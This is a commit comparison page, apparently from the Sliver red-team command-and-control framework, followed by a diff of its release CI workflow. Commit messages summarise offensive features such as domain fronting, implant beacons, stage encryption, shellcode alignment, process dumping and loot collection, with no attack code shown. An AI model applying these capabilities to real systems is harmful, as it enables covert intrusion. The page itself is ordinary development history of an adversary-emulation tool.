Compare commits

...
Author SHA1 Message Date
rkervella a19ec2b348 Fix argument parsing in execute-assembly to remove trailing spaces 2022-06-20 10:24:50 -07:00
Joe 9118f7423f Merge pull request #716 from BishopFox/fix/netstack-regression
Fix regression: add back IP forwarding for wireguard tunnels.
2022-06-15 09:59:09 -05:00
rkervella c7844f57b3 Fix regression: add back IP forwarding for wireguard tunnels. 2022-06-14 18:30:59 -07:00
Joe 23eef3d15c Merge pull request #706 from BishopFox/go/v1.18.3
Go v1.18.3
2022-06-09 17:40:24 -05:00
moloch-- 22b2704259 Go v1.18.3 2022-06-09 14:20:51 -07:00
Ronan Kervella 856fbb5974 Merge pull request #705 from BishopFox/fix/beacon-download
Fix `download` and `cat` regression
2022-06-09 11:28:04 -07:00
rkervella 6cbfe64f61 Remove commented code 2022-06-09 10:20:13 -07:00
rkervella 573ec4d800 Fix download and cat regression 2022-06-09 10:18:45 -07:00
Joe 11f93ab5b2 Merge pull request #703 from BishopFox/armory/auth
Armory Auth
2022-06-07 21:55:53 -05:00
moloch-- 48a061d59e Merge branch 'master' into armory/auth 2022-06-07 18:55:09 -07:00
Joe 2b7506b393 Merge pull request #702 from r00t0v3rr1d3/r00t0v3rr1d3-domain-fronting
Enable Domain Fronting
2022-06-07 11:40:42 -05:00
Chris Shields 2620758056 Enable Domain Fronting
Allow domain fronting by taking in HTTP C2 Advanced Option "host-header". 

Reference: https://github.com/Ne0nd0g/merlin/commit/4835ac3fa73acd963f578428d1d3e75d5cbb1bab
2022-06-07 11:54:31 -04:00
moloch-- 6262266cac Rename util.Encrypt to PreludeEncrypt 2022-06-06 07:26:25 -07:00
moloch-- 37524596bb Base64 fix to default index parser 2022-06-05 18:25:07 -07:00
moloch-- 91108619f5 Init headers map 2022-06-05 15:50:02 -07:00
moloch-- 7972fce3cc Initial implementation 2022-06-05 15:38:55 -07:00
moloch-- 30c569259d Outline auth support for private armories 2022-06-04 11:51:28 -07:00
Joe 978a66bdb0 Merge pull request #699 from mrThe/packet-shell-socks-improvements
Packet handling, socks and shell improvements
2022-06-04 13:50:11 -05:00
Joe 525eda0d15 Merge pull request #700 from mrThe/beacon-stability
Fix panic on beacon session interactive mode
2022-06-04 13:40:50 -05:00
mr.The 16aa7742ba Fix panic on beacon session interactive mode 2022-06-04 18:26:51 +03:00
mr.The 754aab265e Fix namedpipe build 2022-06-04 18:13:40 +03:00
mr.The 4b2558da0c Fix io reference 2022-06-04 17:00:09 +03:00
mr.The 838db70177 Improve closed connection handling
It's okay not to close channels if it is used for writing. Close tunnels
instead.
2022-06-04 16:27:24 +03:00
mr.The 136b50645e Extract structs from implants session.go 2022-06-04 14:31:32 +03:00
mr.The 1345c5e7d1 Tun-handlers file is a way to big, decided to split into different files 2022-06-04 14:00:49 +03:00
mr.The ffb0b0e795 Improve shell handling
Now shell will be properly closed on failure
2022-06-04 13:27:21 +03:00
mr.The d7e740b50f Improve socks handling 2022-06-03 20:51:41 +03:00
mr.The bb5f42466e Improve packet reading handling
Once we know the packet sice - we need to use ReadFull function to read
the packet to be sure we reading it right
2022-06-02 19:02:52 +03:00
Joe 1d4422b465 Merge pull request #693 from BishopFox/armory/all
Added 'armory install all' option
2022-05-29 17:14:41 -05:00
moloch-- 6dfb64ab3b Added 'armory install all' option 2022-05-29 12:28:43 -07:00
Joe 524bfdb8bb Merge pull request #692 from mrThe/fix-pivots-not-synced
Fix pivots not synced
2022-05-29 11:54:33 -05:00
moloch-- 3451490918 Added lic, updated assets gitgitnore for linux/arm64 2022-05-29 09:43:21 -07:00
Joe dc65bddfbb Merge pull request #691 from mrThe/race-conditions
Race conditions fixes and stability improvements
2022-05-29 11:40:34 -05:00
mr.The ae9fc59fa2 Remove pivot listener once it stoped from the server 2022-05-29 19:16:34 +03:00
mr.The 4c7ae8de7d Fix restarting pivot listeners, so it don't panic 2022-05-29 19:14:49 +03:00
mr.The 8865eebf55 Fix tests for non debug and windows builds 2022-05-29 18:07:45 +03:00
mr.The 56c019345d Socks stability improvements 2022-05-29 16:43:05 +03:00
mr.The 1594a2a0eb Client improved tunnel handling and additional logging 2022-05-29 14:25:02 +03:00
mr.The 675723037d Implant additional debug logs and imroved tunnels handling 2022-05-29 14:23:07 +03:00
mr.The b42c615bcf Portfwd connection handling improvements 2022-05-29 14:20:14 +03:00
mr.The f7633bbb9e Fix race condition on closing tunnels 2022-05-29 14:17:30 +03:00
mr.The 2010b08228 Change mtls reader to io.ReadFull 2022-05-29 14:09:56 +03:00
mr.The d1e97e904c Improve stability for remove shells
Fixed few raceconditions and remove unnecessary code
2022-05-28 18:41:56 +03:00
mr.The 647c8ae875 Improve pivot sessions handling, avoid stucking on implant crash
Before that if we are in shell on pivoted implant and it somewhy dies -
we are stuck forever.
2022-05-28 16:05:11 +03:00
mr.The 797365da62 Add sync.Mutex for rpc-tunnel so it wont race 2022-05-28 14:16:15 +03:00
mr.The 62be36e4ce Tunnels refactoring and datarace fixes
Golang documentation mentioning it's unsafe to concurently send messages
via same tunnel, so there is a mutex and a data copy on write
2022-05-28 14:16:14 +03:00
Joe e6ebee9db6 Merge pull request #690 from BishopFox/fix/yaml
Upgrade yaml dep
2022-05-26 16:23:47 -05:00
moloch-- 9bdb54e023 Upgrade yaml dep 2022-05-26 13:18:09 -07:00
mr.The 50490790f1 Fix datarace on last checkin timestamp 2022-05-26 19:16:01 +03:00
mr.The e16b13c89c Fix datarace on error handling in beacon handler 2022-05-26 19:10:40 +03:00
Ronan Kervella 4339ea52e7 Merge pull request #687 from RafBishopFox/wghealth
Wireguard Session Health Status Fix
2022-05-24 14:42:57 +02:00
Joe f17ed1363f Merge pull request #686 from mrThe/master
Fix panic on x86 beacon startup, fix for #682
2022-05-23 17:43:50 -05:00
Joe ae1dc131d4 Merge pull request #685 from RafBishopFox/master
Beacon Interval Display Changes
2022-05-23 17:43:26 -05:00
RafBishopFox 22a503be9a Wireguard session health status fix 2022-05-23 13:14:27 -04:00
mr.The 1809bef81d Fix panic on x86 beacon startup 2022-05-23 19:31:41 +03:00
RafBishopFox e0a7ddfe17 Calculating beacon check in times server side, beacon interval display change, fix for interval calculation with beacon generation 2022-05-23 10:18:26 -04:00
Joe 65dd874eee Merge pull request #680 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.6
Bump nokogiri from 1.13.4 to 1.13.6 in /docs
2022-05-18 23:22:19 -05:00
dependabot[bot] a5fd494f13 Bump nokogiri from 1.13.4 to 1.13.6 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.4 to 1.13.6.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.4...v1.13.6)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-05-19 03:40:00 +00:00
Joe 6fa4aeb780 Merge pull request #676 from BishopFox/go/v1.18.2
Go v1.18.2
2022-05-14 21:16:40 -05:00
moloch-- 4e6466f43c Go v1.18.2 2022-05-14 18:02:45 -07:00
Ronan Kervella 802ad9dded Merge pull request #675 from r00t0v3rr1d3/r00t0v3rr1d3-fix-timeout
Reduce http idle conn timeout
2022-05-11 15:53:18 -07:00
Chris Shields 11fb6a5d31 Reduce http idle conn timeout
Fixing regression issue where keep-alive packets were sent every 15 seconds using gohttp. I think this was only applied to https clients the first time as well, so now it is for both.
2022-05-11 17:24:24 -04:00
Joe dc18da51b6 Merge pull request #672 from RafBishopFox/master
UX Changes for Looting and Refactoring in the client/exec package
2022-05-04 16:35:09 -05:00
RafBishopFox a7c0a2a667 Harmonizing UX for loot across commands that support it with refactoring along the way 2022-05-04 14:48:53 -04:00
Joe e9b08e5723 Merge pull request #671 from RafBishopFox/download_loot
Add loot support to the download command
2022-05-02 14:27:19 -05:00
RafBishopFox 144fb88f74 Refactoring download and loot remote code, feature parity for download -X, various small fixes 2022-05-02 13:46:07 -04:00
RafBishopFox cb11ca6b0c Adding error checking when we can resolve the absolute path when downloading 2022-04-28 13:30:51 -04:00
RafBishopFox 708608c6f0 Adding the rest of the protobuf changes 2022-04-28 13:23:13 -04:00
RafBishopFox 4110b5bd28 Adding changes to sliver protobuf 2022-04-28 13:18:18 -04:00
RafBishopFox 73e59797d1 Standardize on use of filepath to resolve file names 2022-04-28 13:10:32 -04:00
RafBishopFox 7da3ccd876 Add loot support to the download command 2022-04-28 12:53:45 -04:00
Ronan Kervella e7452b27d5 Merge pull request #669 from RafBishopFox/master
Changing token owner to token user to display user name associated with processes in Windows
2022-04-27 12:01:13 -07:00
RafBishopFox ff503203e3 Changing token owner to token user to display user name associated with a process in Windows 2022-04-27 13:45:28 -04:00
moloch-- 8462e4415f added linux-arm64 to makefile, only specify arm64 GOARCH for no target 2022-04-26 18:22:23 -05:00
moloch-- af2f7ffc9d Organized go mod 2022-04-26 15:02:05 -05:00
moloch-- aacf2c16ac Add strategy flags to profile cmds 2022-04-18 12:40:58 -05:00
moloch-- c345731a6b Add static links to .so objs when using external CC 2022-04-17 23:47:18 -05:00
moloch-- c495377f4b Tweak CC env order 2022-04-17 20:57:29 -05:00
Joe cd5717db2a Merge pull request #664 from BishopFox/ux/strategy
Ux/strategy
2022-04-17 00:30:01 -05:00
moloch-- 1f00eec899 Remove conflicting beacon flag 2022-04-16 22:58:12 -05:00
moloch-- ef87aa91cc Append '.' to dns listener domain if missing 2022-04-16 21:29:47 -05:00
moloch-- faab1edaaf Implement connection strategy 2022-04-16 21:15:55 -05:00
Joe 6dab042c8c Merge pull request #663 from BishopFox/ux/cdc
Ux/cdc
2022-04-14 18:53:22 -05:00
Joe b116ac97c5 Merge pull request #660 from BishopFox/go/v1.18.1
Go/v1.18.1
2022-04-13 20:58:30 -05:00
moloch-- d9fe00d1ef Implemented session filter/filter-re 2022-04-13 20:36:37 -05:00
moloch-- 630f215bed Implemented beacon filter/filter-re 2022-04-13 14:48:27 -05:00
moloch-- f42ba31753 Organized imports 2022-04-13 13:53:07 -05:00
moloch-- 72065cd39e Removed totp <-> dns session id 2022-04-13 11:29:56 -05:00
moloch-- 0c1a0fd7bf Implement option to disable dns otp auth 2022-04-13 08:58:44 -05:00
moloch-- c12cbc77a7 Added linux arm64 support to builds 2022-04-13 08:25:08 -05:00
moloch-- f79e0d1845 Go v1.18.1 2022-04-13 08:11:23 -05:00
Joe b4b1a5bf74 Merge pull request #658 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.4
Bump nokogiri from 1.13.3 to 1.13.4 in /docs
2022-04-12 07:56:39 -05:00
dependabot[bot] c0431bf9db Bump nokogiri from 1.13.3 to 1.13.4 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.13.3 to 1.13.4.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/v1.13.4/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.13.3...v1.13.4)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-04-12 10:03:25 +00:00
moloch-- 54ce7ef341 Added support for HTTPS_PROXY 2022-04-07 08:26:06 -05:00
moloch-- bbff000f5d Increase ci/cd timeout 2022-04-04 12:38:55 -07:00
Joe 009cae470e Merge pull request #656 from BishopFox/go-sqlite2
Updated gosqlite
2022-04-04 14:31:08 -05:00
moloch-- 291fcf6dc3 Updated gosqlite 2022-04-04 11:36:01 -07:00
Joe 696d2980ff Merge pull request #655 from npbf/wininet-promptpass
Add wininet driver option to ask user for proxy password
2022-04-01 19:12:17 -05:00
Noah f2065ca72a add option to ask for proxy creds 2022-04-01 15:26:51 -06:00
Noah 5a9c4c9ddb refactor, fix error return 2022-04-01 14:35:48 -06:00
Joe 6ff1edb962 Merge pull request #652 from m0rv4i/stack-alignment
Prepend stack alignment check to shellcode
2022-04-01 14:02:52 -05:00
Joe 93e772f5bf Merge pull request #654 from m0rv4i/file-saving
Fix go stager file saving
2022-04-01 12:58:20 -05:00
Joe 7f714621ea Merge pull request #647 from npbf/wininet
merge wininet, fix cookies
2022-04-01 12:16:57 -05:00
m0rv4i 11a4ae0741 Prepend stack alignment check to donut shellcode 2022-04-01 10:18:07 +01:00
m0rv4i debee05136 Fix go stager file saving 2022-03-31 20:36:41 +01:00
Noah c8eec91232 add prompt user for creds 2022-03-31 13:08:21 -06:00
Ronan Kervella f79a2892b7 Merge pull request #650 from RafBishopFox/master
Adding procdump support for Linux
2022-03-30 11:56:13 -07:00
RafBishopFox b86e49d341 Adding procdump support for Linux 2022-03-30 10:08:04 -04:00
Noah 8e6a8035b2 update err variables 2022-03-29 16:26:12 -06:00
Noah 0a8d4cb517 merge wininet, fix cookies
Extracted from winhttp2 branch
- limited to wininet code
- merged httpclient
- added (copied) cookie jar implementation to wininet
2022-03-28 10:47:34 -06:00
Ronan Kervella e098e3ec08 Merge pull request #637 from audibleblink/current-token-owner
display token owner
2022-03-23 14:03:34 -07:00
Alex Flores a89e52548d fixes beacon-mode printing 2022-03-23 15:07:07 -04:00
Alex Flores fe873b8d8e adds generated protobuf files 2022-03-23 14:18:56 -04:00
Alex Flores d0af0f5534 adds viewing current impersonated token via whoami 2022-03-23 14:18:55 -04:00
kmathisbf 3cc982068a Merge pull request #645 from BishopFox/session_clean_fix
Make sure timeout gets set when cleaning up dead sessions.
2022-03-23 13:58:12 -04:00
Kenny Mathis 1073dedf10 Make sure timeout gets set when cleaning up dead sessions. 2022-03-23 12:55:59 -04:00
Joe e42e6be266 Merge pull request #643 from BishopFox/fix/operator-dead-sessions
Fix `prelude-operator connect`
2022-03-22 13:42:40 -05:00
rkervella e43622606f Do not add dead sessions to operator 2022-03-22 10:23:21 -07:00
Joe 59c642143d Merge pull request #642 from audibleblink/no-ci-on-draft-prs
omits running CI on draft PRs
2022-03-21 23:13:01 -05:00
Alex Flores 8f01ab216d skip running CI on draft PRs 2022-03-21 22:45:52 -04:00
Ronan Kervella 062f89e768 Merge pull request #638 from audibleblink/feature/mv
adds generic mv command
2022-03-21 15:42:50 -07:00
Alex Flores 03b470aec7 adds generated protobuf files 2022-03-21 15:17:24 -04:00
Alex Flores a74d6f6250 adds mv command 2022-03-21 15:17:23 -04:00
moloch-- 4f62f16a1d Fix GOGARBLE env 2022-03-21 13:41:03 -05:00
Joe d4ec2203cb Merge pull request #640 from BishopFox/go/v1.18
Go/v1.18
2022-03-21 12:19:48 -05:00
moloch-- 8309e7af14 Merge master 2022-03-21 10:19:48 -05:00
moloch-- 68a270581f Pass down HTTP_PROXY env to go 2022-03-21 10:15:02 -05:00
moloch-- 5e222411c8 Update pb deps 2022-03-20 13:40:10 -05:00
moloch-- 727a40bc35 Update garble 2022-03-20 13:02:25 -05:00
moloch-- 2038fbcfa3 Update CI to Go v1.18 2022-03-20 12:13:11 -05:00
moloch-- 9a5a3d161a Fix err check in wg 2022-03-20 11:46:41 -05:00
moloch-- 4b4e7c82f2 Implant compiles, but errors on runtime 2022-03-20 11:44:25 -05:00
moloch-- 2844ef91d3 Update implant 2022-03-20 11:37:39 -05:00
moloch-- cffbae3da7 Compiles ... 2022-03-20 11:19:30 -05:00
moloch-- 35fa3c95b8 Attempting to use wg example code 2022-03-20 11:16:27 -05:00
moloch-- 53afb01366 Attempting to use wg example code 2022-03-20 11:16:20 -05:00
moloch-- 33401dcd18 Merge master 2022-03-20 10:58:04 -05:00
Ronan Kervella f4fcbd9cdf Merge pull request #624 from BishopFox/fix/stage_encryption
Refactoring of client side crypto code
2022-03-09 12:55:15 -08:00
rkervella 3c864311fa Add missing file 2022-03-09 12:00:16 -08:00
rkervella 6db7c42d47 Refactor client cryptography code. 2022-03-09 11:59:43 -08:00
Ronan Kervella 004047308f Merge pull request #623 from BishopFox/fix/beacon-service
Service beacons
2022-03-09 11:24:51 -08:00
rkervella ca0fd1e7be Refactor to allow beacon services on Windows.
Fixes #622.
2022-03-08 12:48:23 -08:00
Ronan Kervella 204f013c5d Merge pull request #620 from BishopFox/feature/beacon-operator
Add beacon support to `prelude-operator connect`
2022-03-07 09:53:48 -08:00
moloch-- ac33916348 Update gems 2022-03-06 07:30:26 -06:00
rkervella 75b96fbc29 Remove powershell support from Linux and Darwin executors 2022-03-04 15:44:19 -08:00
rkervella 07bfb1735e Fix null pointer deref in error case 2022-03-04 15:43:14 -08:00
Joe ea20b344ce Merge pull request #619 from BishopFox/go/v1.17.8
Go v1.17.8
2022-03-04 17:31:04 -06:00
rkervella 98c1ac9547 Merge branch 'master' into feature/beacon-operator 2022-03-04 15:23:51 -08:00
rkervella 439c88ce78 Add missing file 2022-03-04 15:20:00 -08:00
rkervella 461aa255ca Add beacon support for Operator 2022-03-04 15:19:50 -08:00
moloch-- 076e34dd02 Go v1.17.8 2022-03-04 12:04:56 -06:00
Ronan Kervella ae517d1d34 Merge pull request #618 from BishopFox/fix/dll-race
Add "run-at-load" flag for shared libraries
2022-03-03 15:38:24 -08:00
rkervella d34541a3d4 Add "run-at-load" flag for shared libraries 2022-03-03 13:37:22 -08:00
Joe db7adc172d Merge pull request #617 from ExAndroidDev/stage-encryption
Added option to encrypt the stage via AES encryption
2022-03-02 07:18:19 -06:00
ExAndroidDev 2f520931f8 Added option to encrypt the stage via AES encryption 2022-02-28 17:15:27 +01:00
Joe 707ce345c7 Merge pull request #616 from BishopFox/dependabot/bundler/docs/nokogiri-1.13.3
Bump nokogiri from 1.12.5 to 1.13.3 in /docs
2022-02-26 07:48:16 -06:00
dependabot[bot] fcae20f92a Bump nokogiri from 1.12.5 to 1.13.3 in /docs
Bumps [nokogiri](https://github.com/sparklemotion/nokogiri) from 1.12.5 to 1.13.3.
- [Release notes](https://github.com/sparklemotion/nokogiri/releases)
- [Changelog](https://github.com/sparklemotion/nokogiri/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sparklemotion/nokogiri/compare/v1.12.5...v1.13.3)

---
updated-dependencies:
- dependency-name: nokogiri
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-02-26 12:06:00 +00:00
moloch-- d09c1fd086 align prelude bof compatibility 2022-02-24 11:57:11 -06:00
moloch-- 98f510abf4 Allow more env overloads in makefile 2022-02-23 19:28:38 -06:00
Joe f2aa7b45c8 Merge pull request #614 from BishopFox/fix/exts
Various small fixes to extensions
2022-02-23 17:57:49 -06:00
moloch-- 01a0bfc9cf various small fixes to extensions 2022-02-23 17:18:55 -06:00
Ronan Kervella 0cef6749b5 Merge pull request #613 from BishopFox/fix/screenshot
Fix for screenshot command
2022-02-23 14:31:23 -08:00
rkervella 2b286ae3cf Deserialize to the proper message, and don't reuse message in response. Fixes Screenshot not working. #610 2022-02-23 13:53:19 -08:00
Ronan Kervella ee7d36dfed Merge pull request #611 from BishopFox/feature/beacon-audit-log
Add beacon registration to audit log
2022-02-22 18:12:46 -08:00
rkervella 7d793841f9 Add beacon registration to audit log 2022-02-22 15:52:32 -08:00
Joe fc61b82de2 Merge pull request #603 from BishopFox/fix/obfuscation
Fix regexp to include enums
2022-02-19 11:17:08 -06:00
moloch-- c91c724912 update garble with upstream, GOGARBLE, and -seed=random 2022-02-17 17:26:29 -06:00
rkervella 46d81fefa1 Fix regexp to include enums 2022-02-17 14:30:56 -08:00
moloch-- 23da56f5f9 Go v1.18 rc1 2022-02-17 16:15:50 -06:00
moloch-- 4a8397374e regenerate pb 2022-02-17 15:53:38 -06:00
moloch-- 359224a43e Added JS_TYPE to pivot protos 2022-02-17 15:51:47 -06:00
moloch-- 8a2d087039 Reduce http idle conn timeout 2022-02-17 15:51:47 -06:00
Joe aa50e9c874 Update README.md 2022-02-13 11:59:23 -06:00
Joe 646ef4273a Merge pull request #599 from BishopFox/fix/kill
Fix/kill
2022-02-12 18:59:52 -06:00
moloch-- 34738d2337 check rpc err on terminate cmd 2022-02-12 18:25:56 -06:00
moloch-- de31135fa5 fix related to session state mgmt and kill 2022-02-12 16:14:09 -06:00
Joe 8bc39cc231 Merge pull request #598 from BishopFox/fix/pivots
Fix/pivots
2022-02-12 14:54:44 -06:00
moloch-- f71a066ffc fix pivot/server ping interval, and calculation of pivot health 2022-02-12 13:45:00 -06:00
moloch-- 4b2b80b2f8 fix pivot session cleanup 2022-02-12 12:45:07 -06:00
moloch-- 41669ed41f fix pivotsession cleanup 2022-02-12 12:43:35 -06:00
moloch-- cdfee6510e fix issue #590, and improper named pivot peer ping cleanup 2022-02-12 12:41:39 -06:00
Joe 3826ca851e Merge pull request #596 from BishopFox/fix/reconfig
Fix Reconfig/Rename
2022-02-12 09:42:02 -06:00
moloch-- d2d7637b7d Updated reconfig cmd to support beacons, seperated rename cmd 2022-02-12 09:14:06 -06:00
moloch-- e907878674 Added link to wiki in help 2022-02-11 18:33:22 -06:00
Joe 21b7842bbf Merge pull request #595 from BishopFox/go/v1.17.7
Go v1.17.7
2022-02-11 17:04:48 -06:00
moloch-- b1ad4ada9e Go v1.17.7 2022-02-11 14:27:31 -06:00
Joe cf0b9766f7 Merge pull request #594 from kyleavery/prelude-changes
Prelude Operator: Small fixes and a new feature
2022-02-09 07:44:19 -06:00
Kyle Avery c4b096f867 fix coff-loader path 2022-02-09 04:40:23 -06:00
Kyle Avery 295c7cb5a0 Bringing back in executor changes 2022-02-09 04:33:18 -06:00
Kyle Avery 6d8d80970e trying out execute-assembly 2022-02-09 04:22:19 -06:00
Kyle Avery 925e5dfee7 testing 2022-02-08 18:56:21 -06:00
Kyle Avery 1885dc5ee3 added pwsh 2022-02-08 18:16:38 -06:00
Kyle Avery 1f694bda41 changes from v1.5.0_prelude_bugfix 2022-02-08 18:01:36 -06:00
Joe 53a35e4727 Update README.md 2022-02-08 17:59:10 -06:00
Joe 082dd94ea5 Merge pull request #591 from BishopFox/ux/term
tui ux improvements
2022-02-07 14:10:38 -07:00
moloch-- e71d142d86 tui ux improvements 2022-02-07 14:16:13 -06:00
moloch-- 260f4d4d75 Add extra help to alias cmds 2022-02-07 11:04:30 -06:00
moloch-- 05b663ee8a Add extra help to alias cmds 2022-02-07 11:03:02 -06:00
Joe c78a99a58f Merge pull request #587 from hypnoticpattern/master
fix: upload raise error if file isn't accessible
2022-02-07 07:27:17 -07:00
hypnoticpattern c874565177 fix: upload raise error if file isn't accessible 2022-02-06 23:28:23 -08:00
moloch-- 57d36054b2 Simplify rng initialization 2022-01-31 11:02:07 -07:00
Joe 154061e93a Merge pull request #585 from BishopFox/fix/http-c2-cfg
Implement fix for issue #584
2022-01-29 15:36:15 -06:00
moloch-- d514872d6f Implement fix for issue #584 2022-01-29 14:43:40 -06:00
moloch-- 30c46e85e7 fix comments 2022-01-29 08:31:30 -06:00
moloch-- 87e85bfa40 Verify c2 url scheme matches cmd flag 2022-01-28 17:10:08 -06:00
moloch-- f7a9040352 Fix linux install script 2022-01-28 11:27:40 -06:00
moloch-- 1756ffa2cd Updated install script to not unzip artifacts 2022-01-28 09:43:49 -06:00
moloch-- 928faad39a Fix msf/msf-remote cmds 2022-01-28 09:15:33 -06:00
moloch-- 34f28b15bc Fix windows file name 2022-01-27 11:51:35 -06:00
moloch-- 95ba042198 those arent zip files ... 2022-01-27 11:36:07 -06:00
moloch-- 80375092fe reorder unzip cmd flags 2022-01-27 11:09:58 -06:00
moloch-- 271d50d65c reorder unzip cmd flags 2022-01-27 10:31:51 -06:00
moloch-- 752efb0ed8 Add the .zip suffix because unzip is picky 2022-01-27 09:58:46 -06:00
moloch-- 657831f0c0 Extract artifacts from prior step 2022-01-27 09:23:47 -06:00
moloch-- 6382dcabc4 Extract artifacts from prior step 2022-01-27 09:07:53 -06:00
moloch-- 31efd2afb1 attempt to re-enable arm64 builds 2022-01-27 08:50:02 -06:00
Joe 1d2e76ba47 Merge pull request #578 from BishopFox/bugfix/fix-session-kill-format-string
Fix format string for session kills
2022-01-26 08:56:19 -06:00
Chris Smith ec1339e766 Updated format string 2022-01-25 13:46:57 +00:00
moloch-- 9ba2d4cdfb Fix interactive command parsing https c2 urls 2022-01-24 20:21:56 -06:00
Chris Smith b452d42314 Fix format string for session kills 2022-01-25 01:55:35 +00:00
moloch-- 8e9f6a874c Removed some problematic words from rng dictionaries 2022-01-24 17:21:30 -06:00
moloch-- d0f51d7792 Fix for issue #576 2022-01-24 10:25:33 -06:00
moloch-- ce1d2a2c55 Fix fmt type in kill session 2022-01-24 09:17:59 -06:00
moloch-- 6965958097 fix for issue #575 2022-01-24 08:44:19 -06:00
moloch-- eb8d1bdf11 Add new flags to linux static build 2022-01-23 17:35:55 -06:00
moloch-- 6e5797670d update github pages 2022-01-23 17:23:37 -06:00
Joe c1eeb532e3 Merge pull request #574 from BishopFox/feature/async-alias
Added support for aliases in beacon mode
2022-01-23 15:02:35 -06:00
Joe c7c8027091 Merge pull request #573 from BishopFox/feature/async-ext
Feature/async ext
2022-01-23 14:33:16 -06:00
moloch-- ce27108c1a Added support for aliases in beacon mode 2022-01-23 14:33:02 -06:00
moloch-- 235fb87842 Skip list ext check in beacon mode 2022-01-23 14:02:50 -06:00
moloch-- a0d71f4fe8 fix output 2022-01-23 13:18:02 -06:00
moloch-- 0502f82967 cleanup 2022-01-23 13:07:32 -06:00
moloch-- 2553772ec0 exts execute in beacon mode but no output 2022-01-23 11:58:58 -06:00
moloch-- 406a10d639 initial refactor to support async ext 2022-01-23 10:01:47 -06:00
moloch-- 92b2d2464c initial refactor to support async ext 2022-01-23 10:01:44 -06:00
moloch-- ead0a5ea1e Use golang.org/x/term 2022-01-22 11:44:39 -06:00
moloch-- d0ec264454 hide armory urls on small terminals 2022-01-22 10:23:14 -06:00
moloch-- 9c7e47c95e added armory github.com parser 2022-01-22 08:57:20 -06:00
Joe 4c5a099d5c Merge pull request #569 from BishopFox/fix/alias
Fix/alias
2022-01-22 08:02:49 -06:00
Joe 99e6765896 Merge pull request #568 from BishopFox/fix/namedpipes
fix named pipe pivots
2022-01-21 20:02:30 -06:00
Joe d1dbd3dcb7 Merge pull request #566 from bluec0re/patch-1
Fix broken implants rm command
2022-01-21 09:14:01 -06:00
BlueC0re 8b81de5129 Fix broken implants rm command
ImplantConfig.Name is empty and the config name is instead stored in the map key.
2022-01-21 15:30:05 +01:00
1223 changed files with 927237 additions and 198239 deletions

No files matched your search

+44 -35
View File
@@ -3,7 +3,7 @@ name: Release
on:
push:
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
branches: [master]
branches: [master, goreleaser]
jobs:
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '^1.18'
- name: OS Packages
run: |
@@ -35,6 +35,8 @@ jobs:
run: ./go-assets.sh
- name: Make
env:
ARTIFACT_SUFFIX: _linux
run: export PATH=/home/runner/go/bin/:$PATH && make linux
- name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
path: ./sliver-*
- name: Make Windows
run: export PATH=/home/runner/go/bin/:$PATH && make windows
env:
ARTIFACT_SUFFIX: _windows
run: |
make clean
export PATH=/home/runner/go/bin/:$PATH && make windows
- name: Windows Artifacts
uses: actions/upload-artifact@v2
@@ -59,10 +65,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.17
- name: Go 1.18
uses: actions/setup-go@v2
with:
go-version: '^1.17'
go-version: '^1.18'
- name: Mingw
run: brew install mingw-w64
@@ -77,10 +83,14 @@ jobs:
run: ./go-assets.sh
- name: Make AMD64
env:
ARTIFACT_SUFFIX: _macos
run: make macos
# - name: Make ARM64
# run: make macos-arm64
- name: Make ARM64
env:
ARTIFACT_SUFFIX: _macos-arm64
run: make macos-arm64
- name: MacOS Artifacts
uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
timeout-minutes: 45
steps:
- run: mkdir -p ./release && mkdir -p ./artifacts
- run: mkdir -p ./builds
- uses: actions/download-artifact@v2
with:
path: ./artifacts
path: ./builds
- name: Extract Artifacts
run: |
mkdir -p ./artifacts
cp ./builds/linux/* ./artifacts
cp ./builds/windows/* ./artifacts
cp ./builds/macos/* ./artifacts
- id: install-secret-key
name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
gpg --list-secret-keys --keyid-format LONG
- name: Release
run: mkdir -p ./release
# Linux
- name: Linux AMD64
run: |
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
# Windows
- name: Windows AMD64
run: |
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
# MacOS AMD64
- name: MacOS AMD64
run: |
